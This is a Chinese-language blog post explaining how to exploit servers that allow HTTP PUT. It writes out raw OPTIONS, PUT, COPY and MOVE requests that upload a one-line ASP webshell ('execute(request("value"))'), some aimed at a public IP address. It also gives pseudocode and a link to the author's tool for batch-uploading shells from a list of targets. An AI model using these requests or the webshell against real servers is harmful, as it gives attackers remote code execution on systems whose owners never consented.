上一篇文章 HTTP - PUT 上傳文件/Shell 講到自己搭了一個環境，去測試HTTP - PUT上傳Shell。最近又遇到幾個PUT上傳的例子，也成功上傳了幾次，來分享一下思密達。
0x00 判斷是否允許HTTP PUT
發送這樣的一份報文到服務器，查看服務器返回：
OPTIONS / HTTP/1.1 Host: 192.168.9.151:8086 Connection: Keep-alive Accept: text/plain User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5
如果返回值是200，就可以進行下一步嘗試
0x10 HTTP - PUT 上傳
根據語言的類型，需要上傳不同類型的文件，不過先不急，試試上傳一個txt文件。
PUT /test.txt HTTP/1.1 Content-Length: 31 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 218.94.36.38:9010
<% execute(request("value")) %>
如果上傳成功了，再好不過。不成功的話，有可能是因為HTTP請求頭的問題。根據返回代碼，可以參考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx
成功之后，再根據服務器語言上傳對應的木馬：
PUT /test.asp HTTP/1.1 Content-Length: 31 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 218.94.36.38:9010
<% execute(request("value")) %>
即使格式都對，也有可能上傳失敗，服務器可能做了一些配置。不急，且往下看
0x20 HTTP - COPY/MOVE
這時候，第一次上傳成功的test.txt文件就起作用了。
COPY /test.txt HTTP/1.1 Host: test.com Destination: http://test.com/test.asp Overwrite: T
或者采用MOVE：
MOVE /dir_name/test.aspx HTTP/1.1 Destination: /test.aspx Host: test.com
注意MOVE的時候，要求兩個文件不在同一個文件夾內。
大概走到這兒，能傳上去的，就傳上去了= =傳不上去的，可以試試 HTTP METHOD 中其他的方法
0x30 自動化實現
寂寞如雪，快速把工具寫完了。
代碼不直接貼了，Github地址：https://github.com/dabeike/http_put_shell
分享一下，在開發過程中遇到的問題和解決方案
偽代碼：
if PUT_TXT:
if PUT_SHELL:
success_list.append(url)
exit()
else:
if COPY_SHELL:
success_list.append(url)
exit()
if MOVE_SHELL:
success_list.append(url)
exit()
else: //PUT失敗
PUT不可用
0x40 HTTP返回值
無論是PUT、MOVE、COPY，成功的時候會返回201。但是如果上傳文件的時候，當前目錄下已有該文件或者在MOVE、COPY的時候，目標文件和當前文件在同一路徑下時，會返回204，狀態碼描述為“No Content”。
針對這樣的問題，解決方案如下：
① PUT的時候，隨機生成一個500000以內的數字作為文件名。
② MOVE、COPY的時候，由用戶手動輸入路徑（通過URL可得到）。
在上傳的時候，可以讓我們感覺精神振奮的是201/204。但大多數時候，statu_code會是404,503,403，甚至還會出現200（其實並沒有什么卵用，只是服務器做了配置）。根據服務器的設置不同，同樣是上傳不同，返回值也會不同~~
0x50 多個socket
因為最后加上了從文件中讀取，批量的去讀取，一開始以為socket對象只需要聲明一次，就可以多次連接不同的URL。但是會一直報錯。
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for line in file_object:
sock.connect((temp[0], int(temp[1])))
//一些處理
sock.close()
正確的方法應該是這樣，每次連接連接都需要新建一下socket對象：
for line in file_object:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((temp[0], int(temp[1])))
//一些處理
sock.close()
0x60 最后
比較老的一個漏洞，基本做不到批量拿站，僅僅自娛自樂~順便練習python~